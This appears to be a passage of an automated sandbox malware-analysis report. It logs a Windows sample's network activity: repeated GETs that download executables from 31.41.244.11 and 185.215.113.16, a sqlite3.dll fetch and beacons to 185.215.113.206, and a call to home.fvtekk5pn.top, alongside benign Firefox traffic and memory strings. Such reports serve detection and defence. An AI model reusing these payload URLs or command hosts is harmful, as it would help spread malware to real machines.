Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0065CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

11_2_0065CE44

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://.adsafeprotected.com//unit/https://ads.stickyadstv.com/firefox-etp://pubads.g.doubleclick.net/gampad/xml_vmap1color-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-color://www.facebook.com/platform/impression.php*://pixel.advertising.com/firefox-etp://track.adform.net/Serving/TrackPoint/*://cdn.cmp.advertising.com/firefox-etp://pubads.g.doubleclick.net/gampad/xml_vmap2://pubads.g.doubleclick.net/gampad/ad://ads.stickyadstv.com/auto-user-sync://ads.stickyadstv.com/user-matching*://.adsafeprotected.com//imp/://.adsafeprotected.com//Serving/://.adsafeprotected.com/jload?*://.adsafeprotected.com/services/pub--panel-banner-item-update-supported-bgcolor://.adsafeprotected.com/jsvid?Failed to serialize referrerInfo ' equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.rva311.com/static/js/main..chunk.js://cdn.branch.io/branch-latest.min.jshttps://smartblock.firefox.etp/facebook.svg://www.googletagmanager.com/gtm.js://www.google-analytics.com/plugins/ua/ec.js://www.googletagservices.com/tag/js/gpt.js://adservex.media.net/videoAds.js://cdn.adsafeprotected.com/iasPET.1.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://connect.facebook.net//all.js://www.google-analytics.com/analytics.js://pagead2.googlesyndication.com/tag/js/gpt.js*://static.adsafeprotected.com/iasPET.1.js://s0.2mdn.net/instream/html5/ima3.js://ssl.google-analytics.com/ga.js://.moatads.com//moatheader.js*://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://www.google-analytics.com/gtm/js**://imasdk.googleapis.com/js/sdkloader/ima3.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3001713978.000002AEACB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001713978.000002AEACBC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Failed to listen. Listener already attached.WebChannel/this._originCheckCallbackDevToolsStartup.jsm:handleDebuggerFlagreleaseDistinctSystemPrincipalLoaderdevtools.debugger.remote-websocketDevTools telemetry entry point failed: resource://devtools/shared/security/socket.jsNo callback set for this channel.@mozilla.org/uriloader/handler-service;1browser.urlbar.dnsResolveFullyQualifiedNamesget FIXUP_FLAGS_MAKE_ALTERNATE_URIresource://devtools/server/devtools-server.jsUnable to start devtools server on {9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to listen. Callback argument missing.Failed to execute WebChannel callback:@mozilla.org/dom/slow-script-debug;1^([a-z+.-]+:\/{0,3})([^\/@]+@).+^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?devtools/client/framework/devtoolsJSON Viewer's onSave failed in startPersistencedevtools/client/framework/devtools-browser^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$@mozilla.org/network/protocol;1?name=filebrowser.fixup.domainsuffixwhitelist.browser.fixup.dns_first_for_single_wordsget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPGot invalid request to save JSON data@mozilla.org/network/protocol;1?name=defaultdevtools.performance.popup.feature-flagdevtools.performance.recording.ui-base-url^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$){33d75835-722f-42c0-89cc-44f328e56a86}http://win.mail.ru/cgi-bin/sentmsg?mailto=%sScheme should be either http or httpshandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/web-handler-app;1http://poczta.interia.pl/mh/?mailto=%shttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/DeferredTask.sys.mjs@mozilla.org/network/file-input-stream;1resource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/JSONFile.sys.mjs_injectDefaultProtocolHandlersIfNeeded{c6cf88b7-452e-47eb-bdc9-86e3561648ef}gecko.handlerService.defaultHandlersVersionCan't invoke URIFixup in the content processhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%sget 